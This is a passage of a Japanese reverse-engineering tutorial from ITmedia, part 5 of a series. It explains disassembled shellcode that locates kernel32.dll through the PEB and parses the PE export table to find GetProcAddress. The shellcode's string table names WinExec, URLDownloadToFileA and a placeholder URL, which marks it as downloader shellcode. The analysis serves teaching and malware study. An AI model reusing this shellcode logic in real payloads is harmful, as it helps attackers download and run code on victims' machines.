検索
連載

PEフォーマットを解釈せよ!リバースエンジニアリング入門(5)(2/3 ページ)

コンピュータウイルスの解析などに欠かせないリバースエンジニアリング技術ですが、何だか難しそうだな、という印象を抱いている人も多いのではないでしょうか。この連載では、「シェルコード」を例に、実践形式でその基礎を紹介していきます。(編集部)

PC用表示 関連情報
Share
Tweet
LINE
Hatena

逆アセンブル、スタート!

 まずは、第4回で説明したkernel32.dllのベースアドレス取得部分からです(今回は説明のために行番号を入れています)。

  1: sub_1C:
  2:   pop  edx                         ; スタックに積んだアドレス(文字列データの先頭アドレス)を取得
  3:   mov  eax, large fs:30h           ; PEBのアドレスを取得
  4:   mov  eax, [eax+0Ch]              ; LoaderDataのアドレスを取得
  5:   mov  esi, [eax+1Ch]              ; InInitializationOrderModuleListのアドレスを取得(ntdll.dllのエントリ取得)
  6:   lodsd                            ; ntdll.dllのLDR_MODULEのエントリ内のInInitializationOrderModuleList.Flink
  7:                                    ; (kernel32.dllのLDR_MODULEエントリへのポインタ)を取得
  8:   mov  eax, [eax+8]                ; オフセット8(BaseAddress)を取得
  9:   mov  ebx, eax                    ; ebx <- kernel32.dll baseaddr
 10:

 9行目で、ebxにkernel32.dllのベースアドレスが格納されていますね。ここからが本番です。続くシェルコードは以下のようになっています。

 11:   mov  esi, [ebx+3Ch]              ; IMAGE_DOS_HEADER.e_lfanewをesiに代入
 12:   mov  esi, [esi+ebx+78h]          ; IMAGE_OPTIONAL_HEADER32.DataDirectory[0].VirtualAddressをesiに代入
 13:   add  esi, ebx                    ; IMAGE_EXPORT_DIRECTORYのアドレスを算出
 14:   mov  edi, [esi+20h]              ; ネームポインタテーブルのRVA(IMAGE_EXPORT_DIRECTORY.AddressOfNames)をediに代入
 15:   add  edi, ebx                    ; ネームポインタテーブルのアドレスを算出
 16:   mov  ecx, [esi+14h]              ; IMAGE_EXPORT_DIRECTORY.NumberOfFunctionsをecxに代入
 17:

 まず11行目で、ebx(kernel32.dllのベースアドレス)+3Chの値をesiに代入しています。これは前述したIMAGE_DOS_HEADER構造体のe_lfanewメンバです。つまり12行目のesi+ebxはPEヘッダ先頭のアドレスとなります。

 PEヘッダの先頭から78hバイト目は、IMAGE_OPTIONAL_HEADER32.DataDirectory[0].VirtualAddressですので、12行目の命令でIMAGE_EXPORT_DIRECTORYのRVA、13行目でそのアドレスを算出し、esiへ代入していることになります。14行目では、esi(IMAGE_EXPORT_DIRECTORYのアドレス)+20hを参照することで、AddressOfNames(ネームポインタテーブルのRVA)を取得し、15行目でそのアドレスを算出しています。また16行目では、esi(IMAGE_EXPORT_DIRECTORYのアドレス)+14hを参照することで、NumberOfFunctionsをecxに代入しています。

 この時点で、各レジスタの値は以下のようになっています。

・esi IMAGE_EXPORT_DIRECTORYのアドレス
・edi ネームポインタテーブルのアドレス
・ecx IMAGE_EXPORT_DIRECTORY.NumberOfFunctionsの値
・edx シェルコード末端のアドレス(“GetProcAddress”などが格納されているアドレス)

 前回の再掲となりますが、シェルコードの末端には以下の文字列が配置されています。

123: aGetprocaddress  db 'GetProcAddress',0
124: aGetsystemdirec  db 'GetSystemDirectoryA',0
125: aWinexec  db 'WinExec',0
126: aExitthread  db 'ExitThread',0
127: aLoadlibrarya  db 'LoadLibraryA',0
128: aUrlmon    db 'urlmon',0
129: aUrldownloadtof  db 'URLDownloadToFileA',0
130: aHttpHoge_coma  db 'http://hoge.com'

 このように逆アセンブル結果を追うときは、その時点でのレジスタやスタックの内容を把握しておくことが大切です。では、続きを見てみましょう。

 18:   xor  ebp, ebp                    ; ebpを0に初期化
 19:   push  esi                        ; IMAGE_EXPORT_DIRECTORYのアドレスをスタックに退避
 20: loc_43:
 21:   push  edi                        ; ネームポインタテーブル内のアドレスをスタックに退避
 22:   push  ecx                        ; 残り関数アドレス数をスタックに退避
 23:   mov  edi, [edi]                  ; 関数名のRVAをediに代入
 24:   add  edi, ebx                    ; 関数名のアドレスを算出
 25:   mov  esi, edx                    ; シェルコード末端のアドレスをesiへ代入
 26:   push  14
 27:   pop  ecx                         ; 14(“GetProcAddress”の文字数)をecxへ代入
 28:   repe cmpsb                       ; esiとediをecx(14)文字比較
 29:   jz  short loc_5A                 ; esiとediが同じ文字列の場合はloc_5Aへジャンプ
 30:   pop  ecx                         ; 残り関数アドレス数をスタックから復元
 31:   pop  edi                         ; ネームポインタテーブル内のアドレスをスタックから復元
 32:   add  edi, 4                      ; ネームポインタテーブル内のアドレスを4加算
 33:   inc  ebp                         ; ebpをインクリメント
 34:   loop  loc_43                     ; ecxをデクリメントし、ecxが0でなければloc_43へジャンプ
 35: loc_5A:
 36:   pop  ecx                         ; 残り関数アドレス数をスタックから復元
 37:   pop  edi                         ; ネームポインタテーブル内のアドレスをスタックから復元
 38:   pop  esi                         ; IMAGE_EXPORT_DIRECTORYのアドレスをスタックから復元
 39:

 34行目のloop loc_43は、ecxをデクリメント(1減算)し、その結果が0でなければ20行目のloc_43へジャンプする命令です。つまりこのシェルコードでは、loc_43(20行目)からloop loc_43(34行目)までをecx(エクスポートアドレステーブルのエントリ数)回、繰り返すことになります。

 実際にループの中で行っている処理を説明すると、ネームポインタテーブルから関数名のアドレスを取り出し、これがシェルコード末端に配置されている文字列“GetProcAddress”と合致するかどうかを調べ、合致する場合にはloc_5A(29行目)へジャンプすることでループを脱出しています。この文字列比較は、28行目のrepe cmpsbという命令により行われています。これは、esiとediをそれぞれ文字列へのポインタと解釈し、ecxバイト分比較する命令です。

 またループ処理に入る前の18行目に「xor ebp, ebp」とあります。これによりebpが0に初期化されています。ebpはループ処理が行われるたびにinc ebp(33行目)でインクリメント(1加算)されており、結果的にebxは、文字列“GetProcAddress”が見つかった時点でのネームポインタテーブルのインデックスとなります。

 ではまた、この時点でのレジスタの値を整理してみましょう。

・esi IMAGE_EXPORT_DIRECTORYのアドレス
・ebp “GetProcAddress”に対応するネームポインタテーブル内のインデックス

 これらのレジスタの値を踏まえつつ、シェルコードの続きを見てみましょう。

 40:   mov  ecx, ebp                    ; ネームポインタテーブル内のインデックスをecxへ代入
 41:   mov  eax, [esi+24h]              ; 序数テーブルのRVA(IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals)をeaxに代入
 42:   add  eax, ebx                    ; 序数テーブルのアドレスを算出
 43:   shl  ecx, 1                      ; ecxを2倍
 44:   add  eax, ecx                    ; 序数テーブル内の対象レコードのアドレスを算出
 45:   xor  ecx, ecx                    ; ecxを0に初期化
 46:   mov  cx, [eax]                   ; 序数をcxに代入
 47:   mov  eax, [esi+1Ch]              ; エクスポートアドレステーブルのRVA(IMAGE_EXPORT_DIRECTORY.AddressOfFunctions)をeaxに代入
 48:   add  eax, ebx                    ; エクスポートアドレステーブルのアドレスを算出
 49:   shl  ecx, 2                      ; 序数を4倍した値をecxに代入
 50:   add  eax, ecx                    ; エクスポートアドレステーブル内の対象レコードのアドレスを算出
 51:   mov  eax, [eax]                  ; 対象関数のRVAをeaxに代入
 52:   add  eax, ebx                    ; 対象関数のアドレスを算出
 53:

 ここではまず、序数テーブルのebp(“GetProcAddress”に対応するネームポインタテーブル内のインデックス)に対応するレコードを参照し、GetProcAddress関数の序数を取得しています(40〜46行目)。そして、この序数を用いてエクスポートアドレステーブルにアクセスし、GetProcAddressのRVAを取得し(47〜51行目)、最終的には52行目でebx(kernel32.dllのベースアドレス)を加算することで、GetProcAddressのアドレスを算出しています。

 ここで注意しておく必要があるのは、序数テーブルとエクスポートアドレステーブルの各レコードのサイズです。序数テーブルにおける各レコードのサイズは2バイトです。このため、ネームポインタテーブル内のインデックスを2倍し、序数テーブルにアクセスする必要があります。

 このシェルコードでは「shl ecx,1」という命令を使っています。これは、ecxのレジスタを左方向へ1ビットシフトする命令で、結果的にecxの値を2倍していることになります。また、エクスポートアドレステーブルにおける各レコードのサイズは4バイトです。そのため、このシェルコードでは「shl ecx,2」という命令を使って序数を4倍しています。

 このようにPEフォーマットを追っていくことで、GetProcAddress関数のアドレスを取得することができました。このシェルコードでは、こうして得られたGetProcAddress関数のアドレスを使って、他の関数のアドレスを取得していきます。

Copyright © ITmedia, Inc. All Rights Reserved.

ページトップに戻る